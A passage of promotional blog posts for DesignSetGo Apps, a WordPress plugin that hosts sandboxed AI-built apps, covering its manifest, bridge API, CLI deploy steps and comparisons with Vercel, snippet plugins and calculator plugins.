- **A capability system.** `dsgo.user.can('cap')` runs the same check WordPress would. If the client's role got demoted, the relevant features hide themselves.

#### What this deliberately doesn't do (v1)

- It doesn't list the files the client has uploaded. `dsgo.media.list` is reserved for a future release; for v1 your agency staff sees uploaded files in **Media → Library** filtered by the source app tag.

- It doesn't span a multisite network with one deploy. Each subsite in a multisite is its own deploy target.

- It doesn't whitelabel automatically. The plugin row still says "DesignSetGo Apps" in the WP plugins list unless you're on Agency tier with white-label enabled. The [white-label post](https://designsetgo.dev/blog/white-labeling-designsetgo-for-your-agency-clients/) covers what that surface looks like.

- It doesn't show WooCommerce orders, subscriptions, or invoices. Those are separate `commerce` scopes and a separate UI; the shop dashboard post covers them.

#### Where to go next

The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for the full `user.*`, `posts.*`, and `media.upload` surface, including all the error codes and limits.

The [bridge cookbook](https://designsetgo.dev/blog/the-bridge-cookbook-ten-patterns/) for the user, posts, and media patterns side by side.

The [GitHub Action post](https://designsetgo.dev/blog/the-github-action-continuous-deploy/) for the multi-client deploy loop in CI.

The [white-label post](https://designsetgo.dev/blog/white-labeling-designsetgo-for-your-agency-clients/) for the Agency-tier branding overrides.

### What AI builders get wrong about WordPress

URL: https://designsetgo.dev/blog/what-ai-builders-get-wrong-about-wordpress/
Published: 2026-05-23 · Nealey

AI builders often talk about WordPress like it is a thing to migrate away from.

The assumption is familiar: WordPress is old, slow, PHP-shaped, plugin-heavy, and aesthetically associated with a decade of sites people are tired of maintaining. The future is prompt-to-app, modern front ends, hosted databases, edge deploys, and a clean stack.

There is truth in the critique. WordPress can be messy. A bad plugin stack can be awful. Themes can fight you. The developer experience is not as clean as starting a new Vite app on an empty repo.

But the conclusion is wrong.

The mistake is treating WordPress as just a front-end technology. It is not. WordPress is distribution, trust, content, auth, commerce, and an admin UI millions of people already know.

That is much harder to replace than a template.

#### WordPress is where the users already are

A site owner with a WordPress site does not wake up wanting a new stack. They wake up wanting a thing on their site.

They want a calculator inside a landing page, a quiz inside a post, a product selector for their store, a member dashboard, a content helper, a custom resource browser. The fact that an AI builder can generate the interface somewhere else is useful, but incomplete.

The thing still has to land where the user's business already lives.

If the result is a preview URL, a Vercel deploy, or a downloadable React project, the builder has solved the first half and left the user holding the second.

#### The boring parts are the moat

AI builders are excellent at the exciting part: generating the visible interface.

WordPress is excellent at the boring parts:

- Content models.

- User accounts.

- Roles and capabilities.

- Media.

- Search visibility.

- Plugin integrations.

- WooCommerce.

- Editorial workflows.

- Backups.

- A known admin.

Those are not glamorous, but they are the durable parts of a business site.

The AI-builder mistake is assuming that because the front end got cheaper, the boring parts matter less. They matter more. Once custom interfaces become cheap, the differentiator is where they can safely connect.

#### WordPress does not need to be the code editor

The answer is not to make WordPress itself into an AI coding environment for everything.

Claude Code, Cursor, v0, Lovable, and Bolt are good at building. Let them build. The problem is not that they exist outside WordPress. The problem is that their output often has no clean WordPress home.

DesignSetGo Apps is not trying to replace those builders. It is trying to give their output a runtime inside WordPress:

- Static bundle in.

- Manifest declares intent.

- Sandbox contains the code.

- Bridge connects to WordPress data.

- WordPress remains the site.

That is a better relationship than "AI builder replaces WordPress" or "WordPress ignores AI builders."

#### The category shift

The old question was:

> Should I build this as a WordPress plugin or a separate app?

The new question is:

> Can this be an app that lives inside WordPress?

That sounds subtle. It is not.

A plugin changes WordPress. A separate app leaves WordPress. A DSGo App lives inside WordPress with a narrow bridge to the pieces it needs.

That gives AI-generated code a saner trust boundary. It also gives site owners a saner deployment story. The app does not need to become a full plugin, and it does not need to become a separate product. It can be a contained surface on the site.

#### What the builders should do next

If I were building an AI app builder, I would not treat WordPress as a legacy export target. I would treat it as one of the most valuable deploy targets on the web.

The prompt should not end with "deploy to Vercel" by default. It should ask:

> Where does this app need to live?

If the answer is "on my WordPress site," the output should understand manifests, permissioned bridges, application passwords, block embeds, app URLs, and the fact that WordPress already has users and content.

That is the opportunity. AI makes custom interfaces cheap. WordPress gives those interfaces a durable place to matter.

The builders who understand that will not try to replace WordPress. They will make WordPress a better home for what AI builds.

Nealey

### The WordPress plugin I do not want to build anymore

URL: https://designsetgo.dev/blog/the-wordpress-plugin-i-do-not-want-to-build-anymore/
Published: 2026-05-22 · Nealey

There is a kind of WordPress plugin I have built too many times.

It starts as a small client request:

> Can we add a little calculator to this page?

Or:

> Can members see a simple dashboard when they log in?

Or:

> Can we make a product selector that recommends the right plan?

None of these sound like plugins at first. They sound like features. Then the feature needs a shortcode, some CSS, a little JavaScript, an admin setting, a REST endpoint, maybe a custom table, maybe a nonce, maybe a place to put the files. Suddenly you are building a plugin.

The plugin is not big. That is part of the annoyance. It is just big enough to own forever.

#### The maintenance shape

A tiny bespoke plugin still has plugin-shaped responsibilities:

- It has to activate cleanly.

- It has to avoid naming collisions.

- It has to enqueue assets correctly.

- It has to handle updates.

- It has to survive theme changes.

- It has to be backed up.

- It has to be explained to the next person.

- It has to be audited if it touches data.

For a real WordPress feature, that is fine. For a small custom interface, it feels like too much ceremony.

That is the plugin I do not want to build anymore: the one whose job is mostly "render this custom interactive thing."

#### AI made the mismatch louder

Before AI coding tools, the cost of building the interface was high enough that the plugin ceremony felt normal. You were already writing code by hand. Creating the plugin wrapper was just part of the job.

Now Claude Code can build the interface in a few prompts. The old wrapper starts to feel disproportionate. The UI got cheaper, but the WordPress packaging stayed the same.

That mismatch is the opening.

If the thing is mostly an interface, it should be packaged like an app, not like a full WordPress plugin. It should have a manifest. It should have a runtime. It should request permissions. It should be isolated from the rest of the site. It should be deployable without pretending every little tool is a first-class plugin.

#### What still deserves a plugin

I still want plugins for WordPress behavior:

- Custom post types.

- Payment logic.

- Admin workflows.

- Deep WooCommerce changes.

- Editorial tools.

- Server-side integrations.

- Anything that needs to run with WordPress privileges.

Those are plugin-shaped problems.

But a calculator, configurator, dashboard, browser, portal, or landing-page tool is often app-shaped. It needs to live on the site. It may need to read site data. It does not need to become part of the site's PHP runtime.

That distinction matters more now that AI can produce app-shaped code so quickly.

#### The better unit

A DSGo App is the unit I wanted for those requests:

- Static bundle.

- Manifest.

- Permission prompt.

- Sandboxed runtime.

- Bridge to WordPress data.

- Deploy command.

It is small enough for a one-off tool and structured enough to be maintained. It gives the code a home without giving it the whole house.

That last sentence is the point. Most small AI-built tools do not need full WordPress privileges. They need a safe place to run and a narrow way to ask WordPress for data.

#### The founder bet

DesignSetGo Apps exists because I think this category will grow.

AI coding makes bespoke interfaces cheap. WordPress has the content, users, commerce, and distribution those interfaces need. The missing primitive is a runtime that lets those interfaces live inside WordPress without becoming plugins in the old sense.

That is the plugin I want to build: not the hundredth bespoke calculator, but the place where the next hundred calculators can safely live.

The old plugin model is not going away. It should not. WordPress is WordPress because plugins can do deep, server-side, site-changing work.

But not every custom thing deserves that much power.

Nealey

### Stop paying Vercel, Supabase, and Anthropic for a widget your WordPress site could host for free

URL: https://designsetgo.dev/blog/wordpress-as-a-runtime/
Published: 2026-05-21 · Nealey

You vibe-coded a recipe ranker in Cursor on Saturday. By Monday you’re paying $20/mo for Vercel Pro, $25/mo for Supabase Pro, $0 to $20 for an auth provider like Clerk or Auth0, plus whatever Anthropic charges per call (Claude Sonnet runs about $3 per million input tokens, $15 per million output, and a chatty app burns through that faster than you think). Your client just wanted the widget inside their WordPress site.

Stop.

The site they’re paying for already has hosting, a database, a user table, a media library, role-based permissions, taxonomies, and an outbound mailer. You are buying all of that twice.

#### The bill nobody warned you about

Pull the receipts.

- **Vercel Hobby** is free until you ship anything real. The moment you put a client’s app on it, you need Pro at $20/mo per member, and bandwidth overage past 1 TB is $0.15/GB.

- **Supabase Free** caps at 500 MB database and pauses on inactivity. Pro is $25/mo per project, and you pay per project, not per account.

- **Cloudflare Workers** look cheap until you read the meter: $5/mo base plus $0.30 per million requests, plus paid KV reads, plus Durable Objects if you want state.

- **Auth0** is free up to 25,000 monthly active users on the new free tier, then jumps to $35/mo Essentials. **Clerk** is free up to 10,000 MAUs, then $25/mo plus $0.02 per MAU after.

- **Anthropic API** has no free tier. A single Riff-style streaming session can run a dollar before you blink.

Three apps for three clients and you are bleeding $200/mo before a single user logs in. The client’s WordPress host costs them $15/mo and they think you are the expensive one.

#### The conversation you keep having

“Why is this not just on our site?”

You explain the modern stack. You say “edge functions” and “serverless.” They nod. Then they ask why the login is different from their wp-admin login. Why the data lives somewhere they cannot back up. Why their GDPR consultant wants a Data Processing Agreement with a vendor they have never heard of. Why the app stops working when your Vercel preview URL rotates.

You do not have good answers. You have a stack that was designed for a Next.js team of twelve, glued onto a WordPress site run by one marketing person.

#### WordPress is already a runtime. You forgot.

WordPress runs 43% of the web because it is, quietly, a full application platform. It has:

- **Hosting.** The client is already paying for it.

- **A database.** MySQL, with a schema you can extend via custom post types and post meta.

- **Users, roles, capabilities.** `current_user_can('edit_posts')` is one line.

- **Taxonomies.** Categories, tags, custom taxonomies, all queryable.

- **A media library.** With image resizing, CDN offload, and an upload API.

- **Outbound email.** `wp_mail()`, hooked to whatever transactional provider the host already configured.

- **A REST API.** Authenticated, capability-checked, ready to query.

- **A cron system.** Scheduled jobs without buying another service.

What it does not have, until now, is a clean way for a sandboxed front-end app to use any of it without becoming a full PHP plugin with site-wide privileges.

That is the gap.

#### DesignSetGo Apps: the runtime contract WordPress was missing

**DesignSetGo Apps** is one WordPress plugin that turns the site into a runtime for sandboxed apps, the same way Chrome is a runtime for extensions or Figma is a runtime for plugins.

An app is a static bundle (HTML, JS, CSS, optionally WASM) plus a `dsgo-app.json` manifest declaring exactly what it can read. It does not run PHP. It does not touch the database directly. It lives in `wp-content/uploads/`, not `wp-content/plugins/`, so a crash cannot take down the site.

A minimal manifest:

```
{
  "manifest_version": 1,
  "id": "recipe-ranker",
  "name": "Recipe Ranker",
  "entry": "index.html",
  "isolation": "inline",
  "permissions": {
    "read": ["posts", "user"]
  }
}
```

The app renders at `your-site.com/apps/recipe-ranker`. It can also be a Gutenberg block, an Elementor widget, or a `[ dsgo_app ]` shortcode in any post. Same domain. Same login. Same SEO. No CORS, no subdomain shuffle, no separate auth.

#### The bridge: how it gets real WordPress data without holding the keys

Inside the app, you write this:

```
import { createBridge } from "@designsetgo/app-client";

const dsgo = createBridge();

const { posts } = await dsgo.posts.list({
  category: "recipes",
  per_page: 10,
});

const me = await dsgo.user.current();
if (await dsgo.user.can("edit_posts")) {
  // editor-only UI
}

await dsgo.storage.user.set({ favourites: [42, 88] });
```

What is actually happening: the app posts a message to its parent. The parent (the DesignSetGo Apps plugin, in PHP) reads the manifest, checks the current visitor’s WordPress capabilities, hits the REST API on the app’s behalf, and posts the result back. The app never sees a token. The capability check happens once, in PHP, where it belongs.

A subscriber sees published posts. An editor sees drafts. The app does not have to think about it.

#### The agent-deploy loop: Cursor and Claude Code, straight to WordPress

You do not have to leave your IDE. The Pro CLI ships an agent-friendly deploy:

```
npx @designsetgo/cli apps init my-app
npx @designsetgo/cli apps deploy
```

Claude Code, Cursor, Aider, Codex, any of them can scaffold the bundle, edit the manifest, run the deploy command, and watch the app go live on the client’s WordPress site. No Vercel project to wire up. No Supabase schema to migrate. No auth provider to onboard. The user table, the database, the media library, the cron jobs, all of it is already there, served by the host the client is already paying.

#### About the AI costs

WordPress 7.0 (May 2026) shipped the **Connectors API**: the site admin enters their Anthropic, OpenAI, or Google credentials once at Settings to Connectors, and every plugin using the WP AI Client inherits them. DesignSetGo Apps never sees the key. The client’s billing relationship is with Anthropic directly, the way it always should have been. Your margin stops eating the inference cost.

#### What it looks like in production

- A real-estate agency hosts a mortgage calculator at `/apps/mortgage`, reading the listing taxonomy from their existing WordPress catalog. No separate database.

- A SaaS shop runs an in-context customer portal at `/portal` against their wp-users table. No Auth0 contract.

- A coaching site embeds a Claude-powered intake form as a Gutenberg block, with the conversation logged into a custom post type. Backed up by their normal WordPress backup. No Supabase.

- An e-commerce store ships a configurator that updates WooCommerce orders through the bridge. Cookie-based session. Same login as checkout.

Each of these used to cost $50 to $200/mo in third-party infra. Now they cost the WordPress hosting bill the client already pays.

#### Try it

Free, GPL, no card. Install the plugin, drop a saved Claude or v0 artifact into wp-admin, unlimited apps once you start a 14-day trial.

If you live in Claude Code, Cursor, or Codex, Pro ($99/yr) unlocks the CLI, the in-admin AI builder (Riff), scheduled jobs, webhook endpoints, dynamic routes, and apps that publish Abilities your site’s AI agent can call back. Plus and Agency add multi-site deploy and white-label for people shipping the same bundle across many client sites.

The shortest demo path: install the free plugin, save any single-file Claude artifact as HTML, drop it in. Five seconds later it is live at `/apps/{slug}` on a real WordPress site, reading real data through the bridge, contained inside the sandbox. That is the moment the bill stops growing.

[Install the free plugin](https://github.com/DesignSetGo/dsgo-apps/releases/latest) · [See the developers page](https://designsetgo.dev/developers/) · [Read the bridge spec](https://github.com/DesignSetGo/dsgo-apps/blob/main/BRIDGE-API.md)

### Deploy a Claude Code project to WordPress in 4 commands

URL: https://designsetgo.dev/blog/how-to-deploy-a-claude-code-project-to-wordpress/
Published: 2026-05-21 · Nealey

You opened Claude Code. You shipped a working app in an afternoon. Now you need it live on a WordPress site by Friday.

And the wheels come off.

#### The problem

Claude Code is excellent at building small apps. It is silent on the question of where they go next.

The WordPress site has the customers, the content, the logged-in users, and the domain Google already trusts. The Claude Code output has none of that. It is a folder on your laptop.

So you start improvising. A Vercel project, a custom subdomain, a CORS handler, a token to call `/wp-json`, a way to read the current user without re-implementing auth. Maybe a Cloudflare worker in front of it. Maybe a separate login.

#### Why this hurts

Every shortcut you add becomes a thing you maintain.

A second host means a second bill, a second deploy pipeline, a second place to rotate secrets, a second SSL cert that expires at 2am. CORS bugs eat a Saturday. The “quick” iframe embed leaks parent-page CSS and your client notices on the demo call.

Worse: you wrote a useful tool for one site and now you cannot easily ship it to the next one. The deploy is glued to a hostname.

The Claude Code build was the easy part. Everything after was the work.

#### What we are building on

DesignSetGo Apps is a WordPress plugin that runs sandboxed apps inside a WP site. Apps live at `/apps/{slug}`, get a permissioned bridge to WordPress data, and ship via a CLI that uses Application Passwords (the same credential system WordPress already documents).

WP 7.0 anchors this. The site admin configures the Anthropic or OpenAI key once at Settings, Connectors. DesignSetGo never sees the key. Your app calls `dsgo.ai.prompt` and the Connector handles the call.

That is the setup. Now the receipt.

#### The 4-command deploy

Open the folder you want shipped. Or scaffold a new one.

**1. Scaffold the project.**

```
npx @designsetgo/cli init lead-calculator
cd lead-calculator
```

You get a `dsgo-app.json` manifest, an entry file, and enough local context for Claude Code to understand the runtime. For a multi-page app, add `--astro`.

**2. Hand it to Claude Code.**

Open the folder. Give it a specific task that names the WordPress shape:

```
Build a lead calculator as a DesignSetGo App.

Run as an iframe app, ask five questions, compute a recommended
service tier, and persist the visitor's last answers with
dsgo.storage.user. No external dependencies. Update dsgo-app.json
with only the permissions required for that storage call.
```

Claude Code edits normal front-end files. It treats the manifest as the contract: if the app needs posts, it adds the posts permission; if it does not need WordPress data, permissions stay empty.

**3. Log in to the target site.**

```
npx designsetgo apps login https://example.com
```

This uses WordPress Application Passwords. Use a user with the smallest role that can deploy apps. The password is revocable from the user’s profile screen. Credentials cache locally so the next deploy is one command.

For CI, skip login and set `DSGO_USER` and `DSGO_APP_PASSWORD` as env vars.

**4. Deploy.**

```
npx designsetgo apps deploy --build
```

The CLI runs your build, validates the manifest, zips the bundle, uploads it, and prints the installed URL:

```
https://example.com/apps/lead-calculator/
```

No Vercel. No Netlify. No CORS. No separate auth story.

#### What you just shipped

The app does not need to know how WordPress REST auth works. It does not ship an application password. It does not call `/wp-json` directly. It calls the bridge:

```
await dsgo.ready;
const { items } = await dsgo.posts.list({ per_page: 5 });
```

The parent runtime checks the manifest permission, calls WordPress, normalizes the response, and returns data to the app.

Claude Code wrote the surface. WordPress kept the data and the identity. DesignSetGo Apps kept the boundary legible. One domain. One login. One bill.

That is one app on one site. The same `deploy` command works against a second site with `--site`, and the same project ships to a third with `--sites` (Pro). The tool you wrote on a Wednesday becomes the tool you sell on a Friday.

#### How to add an AI app to WordPress

Short version of the four commands above, for anyone landing here on that exact question. To add an AI app to WordPress with DesignSetGo Apps: scaffold a project with `npx @designsetgo/cli init`, hand the folder to Claude Code (or Cursor, Aider, Codex) to build the app, run `npx designsetgo apps login` against the target site using a WordPress Application Password, then `npx designsetgo apps deploy --build`. The bundle lands at `/apps/{slug}/` on your WordPress site, sandboxed in an iframe, with a permissioned bridge to posts, users, and (on Pro) `dsgo.ai.prompt`.

The app you built in Claude Code does not need to know anything about WordPress REST auth. The DSGo bridge handles the boundary; your code calls `dsgo.posts.list()` and the parent runtime enforces the permission.

#### Free vs Pro

The HTML upload path (drop a built bundle into wp-admin) is free, unlimited apps to evaluate.

CLI deploy, `dsgo.ai.prompt`, abilities, scheduled jobs, and multi-site deploys are Pro. There is a 14-day full-feature trial; after that you need a license.

#### Ship it

Install [DesignSetGo Apps](https://designsetgo.dev/) on your WordPress site, run `npx @designsetgo/cli init`, and have a Claude Code project live at a real URL on a real WordPress site before lunch. No second host. No second login. No CORS tab open in another window.

[Get started in 60 seconds](https://designsetgo.dev/quickstart/).

### Custom calculator plugin vs AI-built app: which should you use?

URL: https://designsetgo.dev/blog/custom-calculator-plugin-vs-ai-built-app-which-should-you-use/
Published: 2026-05-20 · Nealey

"Calculator plugin" is one of the most durable WordPress searches because calculators are one of the most useful things you can put on a site.

Mortgage calculator. ROI calculator. Pricing calculator. Fitness calculator. Tax estimate. Quote builder. Savings estimator. Product selector. Recipe scaler.

The pattern is always the same: ask a few questions, compute an answer, turn the visitor's vague interest into a specific next step.

So should you install a calculator plugin, build a custom plugin, or generate a DSGo App?

The honest answer: it depends on whether the calculator is generic or specific.

#### Use a calculator plugin when the shape is standard

A form/calculator builder is a good choice when:

- The calculation is simple.

- The UI can look like a normal form.

- You do not need unusual interaction design.

- The data is mostly hardcoded.

- The site owner needs to edit fields in wp-admin.

- You want a no-code workflow more than a custom result.

For a generic loan calculator, a generic BMI calculator, or a basic quote form, a mature calculator plugin may be the fastest path. You get validation, submissions, email notifications, admin editing, and support from a plugin built specifically for that audience.

There is nothing wrong with that.

#### Use a custom plugin when WordPress itself is changing

A custom WordPress plugin is the right answer when the calculator needs server-side behavior:

- Custom database tables.

- Admin screens.

- Complex permissions.

- Server-side integrations.

- Scheduled jobs.

- Content writes.

- Deep WooCommerce checkout behavior.

At that point, the calculator is not just an interface. It is WordPress functionality. Build a plugin. Version it. Test it. Treat it like production code.

A DSGo App is deliberately not a way to smuggle arbitrary PHP into a site.

#### Use a DSGo App when the calculator is an interface

A DSGo App is the right answer when the calculator is mostly a front-end experience but should live inside WordPress.

Examples:

- A service quote builder with custom visuals.

- A pricing comparison that changes as the visitor toggles options.

- A WooCommerce product selector that reads product data.

- A recipe scaler that reads the current post.

- A lead magnet that stores a visitor's previous choices.

- An agency-specific ROI calculator shipped to many client sites.

This is where AI-built apps shine. You can describe the exact interaction you want, let Claude Code or another tool generate the bundle, then deploy it as a sandboxed app. The app can read WordPress data through the bridge when it needs to, but the site is not trusting arbitrary generated code with full WordPress privileges.

#### The trust difference

The important distinction is not "plugin versus app." It is "what happens if this code is wrong?"

With a full plugin, wrong code can break the site. With a snippet, wrong code can break the site. With a DSGo App in iframe mode, wrong code breaks the app frame.

That matters for AI-generated calculators because most of them are not security-critical systems. They are custom interfaces. They need enough connection to be useful and enough containment to be safe.

The bridge gives the connection:

- Read posts or pages.

- Read the current user.

- Persist app or user state.

- Send email through the site's mailer.

- Call the site's configured AI Connector.

The sandbox gives the containment.

#### A quick decision table

NeedBest fitGeneric form-like calculatorCalculator pluginSite owner needs no-code field editingCalculator pluginServer-side WordPress behaviorCustom pluginCustom branded interactionDSGo AppReads site content or productsDSGo AppAI-generated HTML/JSDSGo AppMust not risk the rest of the siteDSGo App

#### The practical recommendation

Start with the most constrained tool that fits.

If a calculator plugin gets you 90% of the way there and the result looks fine, use it. If the calculator is a custom interface that differentiates the site, build it as a DSGo App. If it needs to change WordPress itself, build a real plugin.

The mistake is treating all calculators as the same category. They are not.

Some calculators are forms. Some are WordPress features. Some are small apps. The faster you identify which one you are building, the less time you spend fighting the wrong tool.

DesignSetGo Apps exists for the third group: custom calculators and interactive tools that belong on WordPress, use WordPress data, and should not be allowed to break WordPress if the generated code gets weird.

### WordPress is the backend your vibe-coded app forgot it needed

URL: https://designsetgo.dev/blog/wordpress-is-the-backend-your-vibe-coded-app-forgot-it-needed/
Published: 2026-05-19 · Nealey

Vibe-coding made front ends feel free.

Describe a calculator. Get a calculator. Describe a dashboard. Get a dashboard. Describe a quiz, a planner, a product selector, a lesson browser, a directory, a lead magnet. The first version appears fast enough that it changes what you are willing to try.

That part is real. The bottleneck moved.

The new bottleneck is everything around the interface: content, users, auth, permissions, email, search, backups, ownership, and the place the thing lives once the chat window closes.

That is the part WordPress is already good at.

#### The app is not the system

An AI builder can make the visible surface quickly. That does not mean the system exists.

A recipe ranker needs recipes. A course recommender needs lessons. A member dashboard needs members. A product configurator needs products. A lead magnet needs email delivery. A pricing tool needs plan data and checkout links. A content companion needs the site's voice, categories, and publishing context.

Those are not front-end problems.

You can recreate them from scratch. Supabase for data. Clerk for auth. Resend for email. Stripe for payments. A CMS if content matters. A deploy target. A domain. Backups. Permissions. Admin UI. Moderation. Logs. Suddenly the little app is not little anymore.

Or you can notice that a WordPress site already has most of this.

#### WordPress as the durable layer

WordPress has boring superpowers:

- Posts and pages.

- Custom post types.

- Taxonomies.

- Users and roles.

- Authentication.

- Media.

- Plugin integrations.

- Commerce.

- SEO.

- Backups.

- Editorial workflows.

- A known admin UI.

Those are not glamorous. They are the reason WordPress keeps surviving every wave of "this will replace WordPress" discourse.

When you build a small custom app for a WordPress site, the app should not rebuild those pieces. It should use them.

That is the DesignSetGo bet: let AI make the app surface, let WordPress remain the durable backend, and put a permissioned bridge between them.

#### Why this matters for site owners

Most site owners do not want "an app" in the abstract. They want a tool that works with their actual site.

They want a calculator that knows their services. A filter that knows their posts. A quiz that can be embedded in a landing page. A dashboard that knows who is logged in. A product selector that reads WooCommerce products. A content helper that can call the site's AI Connector without exposing API keys.

The value is not that the UI exists. The value is that the UI knows the site.

If the app lives somewhere else, that knowledge has to be recreated through glue. If the app lives inside WordPress, the bridge can provide it directly.

#### Why this matters for developers

Developers do not need another place to deploy a toy. They need a low-friction way to ship client-specific tools that do not become maintenance nightmares.

The usual options are awkward:

- Build a full WordPress plugin for a small custom interface.

- Deploy a Vite or Next app elsewhere and iframe it back.

- Paste generated code into a snippet manager.

- Tell the client the idea is too custom for the budget.

DSGo Apps gives you another shape: static bundle, manifest, bridge, deploy. The app stays isolated. WordPress supplies the data and identity. The client gets a thing on their site, not a link to another platform.

That is a better unit of work for a lot of client requests.

#### The backend was there the whole time

The interesting part of AI app generation is not that it replaces WordPress. It is that it makes WordPress more useful.

WordPress already has the durable layer. AI makes the custom surface cheap enough to build. DSGo connects those two ideas without making you paste untrusted code into the site runtime.

That is why the product is not "AI-powered WordPress." That phrase is too vague to mean anything.

The real phrase is:

> Vibe-code apps that know your WordPress site.

The backend was already there. The app just needed a safe way to talk to it.

Nealey

### Vercel is the wrong place for your WordPress widget

URL: https://designsetgo.dev/blog/vercel-is-the-wrong-place-for-your-wordpress-widget/
Published: 2026-05-18 · Nealey

Vercel is excellent at what Vercel is for. If you are shipping a Next.js app, a product dashboard, a SaaS front end, or a marketing site with a modern React stack, it is one of the best deployment surfaces on the internet.

But a lot of what people are now building with Claude Code, v0, Lovable, and Bolt is not a standalone product. It is a thing that belongs on an existing WordPress site.

A calculator for a sales page. A lead magnet inside a blog post. A product configurator for a WooCommerce store. A course selector that needs the site's content. A member dashboard that should know who is logged in.

Those do not want to be separate apps. They want to be WordPress-native surfaces.

#### The default AI-builder path

The default path looks like this:

- Ask Claude Code or v0 to build a small app.

- Get a working local project.

- Deploy it to Vercel.

- Copy the Vercel URL.

- Embed it back into WordPress with an iframe.

That path feels natural because the AI coding ecosystem is optimized around modern front-end deploys. The tools know `npm run build`. They know preview URLs. They know GitHub-to-Vercel pipelines.

But once the thing is meant to appear on WordPress, the shape gets weird.

The widget now lives on another domain. It does not share WordPress auth. It cannot read WordPress posts without a custom API path. If it needs product data, you are writing REST glue. If it needs to know the current visitor, you are inventing a session bridge. If it needs to submit something back to WordPress, you are dealing with CORS, nonces, credentials, and a security review you did not mean to sign up for.

The deploy was easy. The integration became the work.

#### The thing Vercel cannot know

The Vercel app does not know your WordPress site.

It can be taught, of course. You can expose REST endpoints. You can create application passwords. You can build a proxy. You can issue tokens. You can add `Access-Control-Allow-Origin` headers. You can whitelist domains. You can write the integration layer.

But for a calculator, a configurator, or a small custom tool, that is the wrong center of gravity. You are building an app next to WordPress and then spending engineering effort to make it behave like it lives inside WordPress.

DesignSetGo Apps flips the default:

- The app bundle is installed on the WordPress site.

- The URL is on the WordPress domain.

- The current visitor is the WordPress visitor.

- The app reads posts, pages, users, storage, AI, and abilities through the bridge.

- The runtime enforces permissions at the WordPress boundary.

No CORS ceremony. No separate auth. No second hosting account. No preview URL nobody will remember.

#### Same domain is not a detail

Same-domain deployment sounds like a small convenience until you start listing what it removes:

- No separate DNS.

- No cross-origin auth.

- No CORS preflight debugging.

- No "where did we deploy that widget?" archaeology.

- No separate backup story.

- No disconnected analytics surface.

- No mismatch between the site content and the embedded app's data.

The app belongs to the site. It should travel with the site.

That matters even more for client work. A freelancer who ships a calculator to a client's WordPress site should not also become the owner of a Vercel project forever. The client is paying for a WordPress feature. The feature should live where the client's WordPress features live.

#### When Vercel is still right

This is not a universal argument against Vercel.

Use Vercel when the product is the app. Use it when the front end is independent of WordPress, when you need edge functions, when you are building a SaaS surface, when the WordPress site is only one data source among many, or when your team already operates that stack well.

Use DesignSetGo Apps when the thing is a WordPress surface:

- It belongs inside a post or page.

- It needs WordPress content.

- It should know the current logged-in user.

- It should share the site's domain.

- It should be safe to install even if the generated code is imperfect.

That is the category line.

#### The better question

The question is not "can I deploy this to Vercel?" You probably can.

The better question is:

> Does this app become more useful because it lives inside WordPress?

If the answer is yes, deploy it to WordPress. Not as a PHP snippet. Not as an iframe to a separate host. As a sandboxed app with a permissioned bridge to the site it belongs to.

Vercel is a great home for apps that want to be apps. A WordPress widget is not trying to leave home. It is trying to become part of the site.

Nealey

### Snippet plugins are the wrong home for AI-generated code

URL: https://designsetgo.dev/blog/snippet-plugins-are-the-wrong-home-for-ai-generated-code/
Published: 2026-05-17 · Nealey

Snippet plugins are useful. I have used them for years. If you know exactly what code you are adding, understand the hook it runs on, and want a quick way to avoid creating a tiny plugin, a snippet manager is a perfectly reasonable tool.

AI-generated code changes the risk profile.

The problem is not that AI code is uniquely bad. Human code is bad all the time. The problem is that AI makes it easy for a non-developer to produce code that looks plausible, then paste it into a place where it runs with full WordPress privileges.

That is the dangerous part. Not "AI." Privilege.

#### What a snippet can touch

A PHP snippet runs inside WordPress. That is the whole point. It can hook `init`, register shortcodes, alter queries, enqueue scripts, change output, call plugin functions, read options, update options, create users, delete posts, send email, and talk to the database.

Sometimes that is exactly what you need.

But when the code came from a chat window, the person installing it often cannot evaluate what those capabilities imply. They see "add this to your site" and a block of PHP. The site sees code running with the same broad process-level access as the plugin system itself.

JavaScript snippets inside the page have a different but still broad risk shape. A script pasted into a page can read and alter the DOM around it. It can conflict with theme scripts. It can grab form values. It can fetch to undeclared endpoints. It can break a page outside the little widget it was meant to power.

The failure mode is not theoretical. It is the default shape of the web: code on the page can affect the page. Code in WordPress can affect WordPress.

#### What AI makes easier

Before AI, most site owners did not write arbitrary code. They installed plugins. That was not risk-free, but there was at least a distribution surface: reviews, active installs, support threads, update history, a named author, a plugin team review process.

Now a site owner can ask:

> Make me a mortgage calculator for my real-estate site.

And the model will happily produce HTML, CSS, JavaScript, maybe a PHP shortcode wrapper, maybe a REST endpoint, maybe a bit of code that stores submissions. It will look complete. It might even work.

The site owner then has to answer questions they are not equipped to answer:

- Is this code safe to paste into a Custom HTML block?

- Does the JavaScript leak data?

- Does the PHP sanitize inputs?

- Does it escape outputs?

- Does it run on every page?

- Does it create a public endpoint?

- Can it be used for spam?

- What happens if it throws a fatal error?

That is too much to ask of someone who wanted a calculator.

#### The DSGo trade

DesignSetGo Apps makes a different trade:

- The app runs as a static bundle.

- The default runtime is a sandboxed iframe.

- The app cannot touch the parent DOM.

- The app cannot see WordPress cookies or REST tokens.

- The app talks to WordPress only through named bridge methods.

- The manifest declares what the app wants.

- The install dialog shows those permissions in plain English.

This is more constrained than a snippet. That is the point.

If an AI-generated app has a runaway loop, it can freeze its iframe. It does not take down PHP. If its CSS is sloppy, it styles its own document. It does not rewrite the site's theme. If it tries to fetch from an undeclared origin, CSP blocks it. If it tries to read posts without asking for the posts permission, the bridge returns `permission_denied`.

The app can still be wrong. It can still be ugly. It can still fail. But the failure is contained.

#### Connection without privilege

The obvious objection is that snippet code is powerful because it can actually use the site. A sandboxed iframe sounds safer, but also isolated.

That is why the bridge exists.

The bridge gives the app task-shaped access to WordPress:

- `dsgo.posts.list()`

- `dsgo.pages.get()`

- `dsgo.user.current()`

- `dsgo.user.can()`

- `dsgo.storage.app.get()`

- `dsgo.ai.prompt()`

- `dsgo.abilities.invoke()`

Those calls are not raw privilege. They are mediated access. The parent runtime checks the manifest, checks the current visitor's WordPress permissions, calls the right WordPress API, normalizes the response, and sends data back to the app.

That is the difference between "the code runs inside WordPress" and "the code can ask WordPress for specific things."

For AI-generated apps, the second model is healthier. The model can build the UI fast. The runtime keeps the dangerous parts boring.

#### What snippet plugins are still good for

This is not a "never use snippets" post.

Use a snippet when the desired behavior is inherently WordPress-side:

- Registering a custom post type

- Changing an admin column

- Adding a small filter to alter plugin output

- Tweaking query behavior

- Disabling a theme feature

- Adding a short hook-based behavior you understand

